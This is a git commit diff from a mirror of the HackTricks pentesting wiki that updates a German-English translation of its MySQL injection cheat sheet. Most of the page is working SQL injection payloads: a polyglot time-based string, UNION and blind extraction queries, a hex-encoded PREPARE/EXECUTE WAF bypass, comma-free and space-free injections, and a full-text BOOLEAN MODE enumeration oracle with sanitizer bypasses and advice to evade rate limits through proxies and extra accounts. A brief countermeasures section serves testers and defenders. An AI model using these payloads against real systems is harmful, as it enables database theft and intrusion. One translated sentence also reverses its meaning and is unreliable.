mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/sql-injection/mysql-injection/README
This commit is contained in:
parent
f8160ea7f8
commit
a2bc0c6b00
@ -1,4 +1,4 @@
|
||||
# MySQL-Injection
|
||||
# MySQL injection
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -14,7 +14,7 @@
|
||||
```
|
||||
## Interessante Funktionen
|
||||
|
||||
### Bestätigen Mysql:
|
||||
### Mysql bestätigen:
|
||||
```
|
||||
concat('a','b')
|
||||
database()
|
||||
@ -44,15 +44,15 @@ SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
|
||||
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
|
||||
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
|
||||
```
|
||||
## Alle Injektionen
|
||||
## Alle injection
|
||||
```sql
|
||||
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
|
||||
```
|
||||
from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/)
|
||||
von [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/)
|
||||
|
||||
## Flow
|
||||
## Ablauf
|
||||
|
||||
Denken Sie daran, dass Sie in "modernen" Versionen von **MySQL** "_**information_schema.tables**_" durch "_**mysql.innodb_table_stats**_**"** ersetzen können (Dies könnte nützlich sein, um WAFs zu umgehen).
|
||||
Beachte, dass du in "modernen" Versionen von **MySQL** "_**information_schema.tables**_" anstelle von "_**mysql.innodb_table_stats**_**"** verwenden kannst (Das kann nützlich sein, um WAFs zu umgehen).
|
||||
```sql
|
||||
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
|
||||
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
|
||||
@ -64,9 +64,9 @@ SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
|
||||
- `group_concat()`
|
||||
- `Limit X,1`
|
||||
|
||||
### **Blind eins nach dem anderen**
|
||||
### **Blind einzeln**
|
||||
|
||||
- `substr(version(),X,1)='r'` oder `substring(version(),X,1)=0x70` oder `ascii(substr(version(),X,1))=112`
|
||||
- `substr(version(),X,1)='r'` or `substring(version(),X,1)=0x70` or `ascii(substr(version(),X,1))=112`
|
||||
- `mid(version(),X,1)='5'`
|
||||
|
||||
### **Blind hinzufügen**
|
||||
@ -79,7 +79,7 @@ SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
|
||||
|
||||
## Anzahl der Spalten erkennen
|
||||
|
||||
Verwendung einer einfachen ORDER
|
||||
Mit einfachem ORDER
|
||||
```
|
||||
order by 1
|
||||
order by 2
|
||||
@ -101,76 +101,121 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
|
||||
```
|
||||
## SSRF
|
||||
|
||||
**Lernen Sie hier verschiedene Optionen, um** [**eine Mysql-Injection auszunutzen, um eine SSRF zu erhalten**](mysql-ssrf.md)**.**
|
||||
**Erfahre hier verschiedene Möglichkeiten, um** [**abuse a Mysql injection to obtain a SSRF**](mysql-ssrf.md)**.**
|
||||
|
||||
## WAF-Bypass-Tricks
|
||||
|
||||
### Ausführen von Abfragen über vorbereitete Anweisungen
|
||||
### Ausführen von Queries über Prepared Statements
|
||||
|
||||
Wenn gestapelte Abfragen erlaubt sind, kann es möglich sein, WAFs zu umgehen, indem man einer Variablen die hexadezimale Darstellung der Abfrage zuweist, die man ausführen möchte (indem man SET verwendet), und dann die MySQL-Anweisungen PREPARE und EXECUTE verwendet, um letztendlich die Abfrage auszuführen. Etwas wie dies:
|
||||
Wenn stacked queries erlaubt sind, kann es möglich sein, WAFs zu umgehen, indem man einer Variablen die hexadezimale Darstellung der Query zuweist, die man ausführen möchte (mittels SET), und dann die MySQL-Statements PREPARE und EXECUTE verwendet, um die Query letztendlich auszuführen. So etwas wie das:
|
||||
```
|
||||
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
|
||||
```
|
||||
Für weitere Informationen siehe [diesen Blogbeitrag](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce).
|
||||
Weitere Informationen finden Sie in [this blog post](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce).
|
||||
|
||||
### Information_schema Alternativen
|
||||
### Information_schema-Alternativen
|
||||
|
||||
Denke daran, dass du in "modernen" Versionen von **MySQL** _**information_schema.tables**_ durch _**mysql.innodb_table_stats**_ oder _**sys.x$schema_flattened_keys**_ oder durch **sys.schema_table_statistics** ersetzen kannst.
|
||||
Beachten Sie, dass Sie in „modernen“ Versionen von **MySQL** _**information_schema.tables**_ durch _**mysql.innodb_table_stats**_ oder durch _**sys.x$schema_flattened_keys**_ oder durch **sys.schema_table_statistics** ersetzen können
|
||||
|
||||
### MySQLinjection ohne KOMMA
|
||||
### MySQLinjection ohne KOMMAS
|
||||
|
||||
Wähle 2 Spalten, ohne ein Komma zu verwenden ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)):
|
||||
Select 2 columns ohne ein Komma zu verwenden ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)):
|
||||
```
|
||||
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
|
||||
```
|
||||
### Abrufen von Werten ohne den Spaltennamen
|
||||
### Abrufen von Werten ohne Spaltennamen
|
||||
|
||||
Wenn Sie zu einem bestimmten Zeitpunkt den Namen der Tabelle kennen, aber die Namen der Spalten in der Tabelle nicht kennen, können Sie versuchen herauszufinden, wie viele Spalten es gibt, indem Sie etwas wie Folgendes ausführen:
|
||||
Wenn du zu einem Zeitpunkt den Namen der Tabelle kennst, aber die Namen der Spalten in der Tabelle nicht kennst, kannst du versuchen herauszufinden, wie viele Spalten vorhanden sind, indem du etwas wie Folgendes ausführst:
|
||||
```bash
|
||||
# When a True is returned, you have found the number of columns
|
||||
select (select "", "") = (SELECT * from demo limit 1); # 2columns
|
||||
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
|
||||
```
|
||||
Angenommen, es gibt 2 Spalten (wobei die erste die ID ist) und die andere die Flagge, können Sie versuchen, den Inhalt der Flagge durch Brute-Force zu entschlüsseln, indem Sie Zeichen für Zeichen ausprobieren:
|
||||
Angenommen, es gibt 2 Spalten (wobei die erste die ID ist) und die andere die flag ist, kannst du versuchen, den Inhalt der flag Zeichen für Zeichen zu bruteforce:
|
||||
```bash
|
||||
# When True, you found the correct char and can start ruteforcing the next position
|
||||
select (select 1, 'flaf') = (SELECT * from demo limit 1);
|
||||
```
|
||||
Mehr Informationen unter [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)
|
||||
Mehr Infos unter [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)
|
||||
|
||||
### Injection ohne SPACES (`/**/` Kommentar-Trick)
|
||||
### Injection without SPACES (`/**/` comment trick)
|
||||
|
||||
Einige Anwendungen sanitieren oder parsen Benutzereingaben mit Funktionen wie `sscanf("%128s", buf)`, die **am ersten Leerzeichen** stoppen.
|
||||
Da MySQL die Sequenz `/**/` sowohl als Kommentar *als auch* als Leerzeichen behandelt, kann sie verwendet werden, um normale Leerzeichen aus der Nutzlast vollständig zu entfernen, während die Abfrage syntaktisch gültig bleibt.
|
||||
Einige Anwendungen bereinigen oder parsen Benutzereingaben mit Funktionen wie `sscanf("%128s", buf)`, die **am ersten Leerzeichen stoppen**.
|
||||
Da MySQL die Sequenz `/**/` sowohl als Kommentar *und* als Whitespace behandelt, kann sie verwendet werden, um normale Leerzeichen vollständig aus dem Payload zu entfernen und gleichzeitig die Abfrage syntaktisch gültig zu halten.
|
||||
|
||||
Beispiel für zeitbasierte Blind-Injection, die den Leerzeichenfilter umgeht:
|
||||
Beispiel time-based blind injection, das den space filter umgeht:
|
||||
```http
|
||||
GET /api/fabric/device/status HTTP/1.1
|
||||
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'
|
||||
```
|
||||
Welche die Datenbank erhält als:
|
||||
Die von der Datenbank empfangen wird als:
|
||||
```sql
|
||||
' OR SLEEP(5)-- -'
|
||||
```
|
||||
Dies ist besonders nützlich, wenn:
|
||||
Das ist besonders praktisch, wenn:
|
||||
|
||||
* Der steuerbare Puffer in der Größe eingeschränkt ist (z.B. `%128s`) und Leerzeichen die Eingabe vorzeitig beenden würden.
|
||||
* Das Injizieren durch HTTP-Header oder andere Felder, in denen normale Leerzeichen entfernt oder als Trennzeichen verwendet werden.
|
||||
* Kombiniert mit `INTO OUTFILE`-Primitiven, um vollständige Pre-Auth RCE zu erreichen (siehe den Abschnitt MySQL File RCE).
|
||||
* Der kontrollierbare Puffer in seiner Größe eingeschränkt ist (z. B. `%128s`) und Leerzeichen die Eingabe vorzeitig beenden würden.
|
||||
* Injektion durch HTTP-Header oder andere Felder, in denen normale Leerzeichen entfernt oder als Trennzeichen verwendet werden.
|
||||
* Kombiniert mit `INTO OUTFILE`-Primitiven, um vollständiges pre-auth RCE zu erreichen (siehe den Abschnitt MySQL File RCE).
|
||||
|
||||
---
|
||||
|
||||
### MySQL-Historie
|
||||
|
||||
Sie können andere Ausführungen innerhalb von MySQL sehen, indem Sie die Tabelle: **sys.x$statement_analysis** lesen.
|
||||
Du kannst andere Ausführungen innerhalb von MySQL sehen, indem du die Tabelle liest: **sys.x$statement_analysis**
|
||||
|
||||
### Versionsalternativen
|
||||
### Versionsalternative**s**
|
||||
```
|
||||
mysql> select @@innodb_version;
|
||||
mysql> select @@version;
|
||||
mysql> select version();
|
||||
```
|
||||
## Weitere MYSQL-Injektionsleitfäden
|
||||
## MySQL Full-Text Search (FTS) BOOLEAN MODE operator abuse (WOR)
|
||||
|
||||
This is not a classic SQL injection. When developers pass user input into `MATCH(col) AGAINST('...' IN BOOLEAN MODE)`, MySQL executes a rich set of Boolean search operators inside the quoted string. Many WAF/SAST rules only focus on quote breaking and miss this surface.
|
||||
|
||||
Key points:
|
||||
- Operatoren werden innerhalb der Anführungszeichen ausgewertet: `+` (muss enthalten sein), `-` (darf nicht enthalten sein), `*` (Platzhalter am Ende), `"..."` (exakter Ausdruck), `()` (Gruppierung), `<`/`>`/`~` (Gewichtungen). Siehe MySQL docs.
|
||||
- Damit sind Präsenz-/Absenz- und Präfix-Tests möglich, ohne das String-Literal zu verlassen, z. B. `AGAINST('+admin*' IN BOOLEAN MODE)` um zu prüfen, ob ein Begriff mit `admin` beginnt.
|
||||
- Nützlich, um Orakel zu bauen wie „enthält eine Zeile einen Begriff mit Präfix X?“ und um versteckte Strings über Präfix-Erweiterung zu enumerieren.
|
||||
|
||||
Example query built by the backend:
|
||||
```sql
|
||||
SELECT tid, firstpost
|
||||
FROM threads
|
||||
WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE);
|
||||
```
|
||||
Wenn die Anwendung unterschiedliche Antworten zurückgibt, je nachdem, ob die Ergebnismenge leer ist (z. B. redirect vs. error message), wird dieses Verhalten zu einem Boolean-Oracle, das zum Enumerieren privater Daten wie versteckter/gelöschter Titel verwendet werden kann.
|
||||
|
||||
Sanitizer-Bypass-Muster (generisch):
|
||||
- Boundary-trim preserving wildcard: Wenn das Backend pro Wort 1–2 abschließende Zeichen über einen Regex wie `(\b.{1,2})(\s)|(\b.{1,2}$)` trimmt, sende `prefix*ZZ`. Der Cleaner trimmt das `ZZ`, lässt aber das `*` stehen, sodass `prefix*` erhalten bleibt.
|
||||
- Early-break stripping: Wenn der Code Operatoren pro Wort entfernt, aber die Verarbeitung stoppt, sobald er ein Token mit Länge ≥ Mindestlänge findet, sende zwei Tokens: das erste ist ein Junk-Token, das den Längen-Schwellenwert erfüllt, das zweite trägt die Operator-Payload. Zum Beispiel: `&&&&& +jack*ZZ` → after cleaning: `+&&&&& +jack*`.
|
||||
|
||||
Payload-Template (URL-kodiert):
|
||||
```
|
||||
keywords=%26%26%26%26%26+%2B{FUZZ}*xD
|
||||
```
|
||||
- `%26` is `&`, `%2B` is `+`. The trailing `xD` (or any two letters) is trimmed by the cleaner, preserving `{FUZZ}*`.
|
||||
- Treat a redirect as “match” and an error page as “no match”. Don’t auto-follow redirects to keep the oracle observable.
|
||||
|
||||
Enumerations-Workflow:
|
||||
1) Start with `{FUZZ} = a…z,0…9` to find first-letter matches via `+a*`, `+b*`, …
|
||||
2) For each positive prefix, branch: `a* → aa* / ab* / …`. Repeat to recover the whole string.
|
||||
3) Distribute requests (proxies, multiple accounts) if the app enforces flood control.
|
||||
|
||||
Warum Titel oft leak, während Inhalte nicht:
|
||||
- Some apps apply visibility checks only after a preliminary MATCH on titles/subjects. If control-flow depends on the “any results?” outcome before filtering, existence leaks occur.
|
||||
|
||||
Gegenmaßnahmen:
|
||||
- If you don’t need Boolean logic, use `IN NATURAL LANGUAGE MODE` or treat user input as a literal (escape/quote disables operators in other modes).
|
||||
- If Boolean mode is required, strip or neutralize all Boolean operators (`+ - * " ( ) < > ~`) for every token (no early breaks) after tokenization.
|
||||
- Apply visibility/authorization filters before MATCH, or unify responses (constant timing/status) when the result set is empty vs. non-empty.
|
||||
- Review analogous features in other DBMS: PostgreSQL `to_tsquery`/`websearch_to_tsquery`, SQL Server/Oracle/Db2 `CONTAINS` also parse operators inside quoted arguments.
|
||||
|
||||
Hinweise:
|
||||
- Prepared statements do not protect against semantic abuse of `REGEXP` or search operators. An input like `.*` remains a permissive regex even inside a quoted `REGEXP '.*'`. Use allow-lists or explicit guards.
|
||||
|
||||
## Other MYSQL injection guides
|
||||
|
||||
- [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
|
||||
|
||||
@ -178,6 +223,10 @@ mysql> select version();
|
||||
|
||||
- [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
|
||||
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||||
- [MySQL Full-Text Search – Boolean mode](https://dev.mysql.com/doc/refman/8.4/en/fulltext-boolean.html)
|
||||
- [MySQL Full-Text Search – Overview](https://dev.mysql.com/doc/refman/8.4/en/fulltext-search.html)
|
||||
- [MySQL REGEXP documentation](https://dev.mysql.com/doc/refman/8.4/en/regexp.html)
|
||||
- [ReDisclosure: New technique for exploiting Full-Text Search in MySQL (myBB case study)](https://exploit.az/posts/wor/)
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user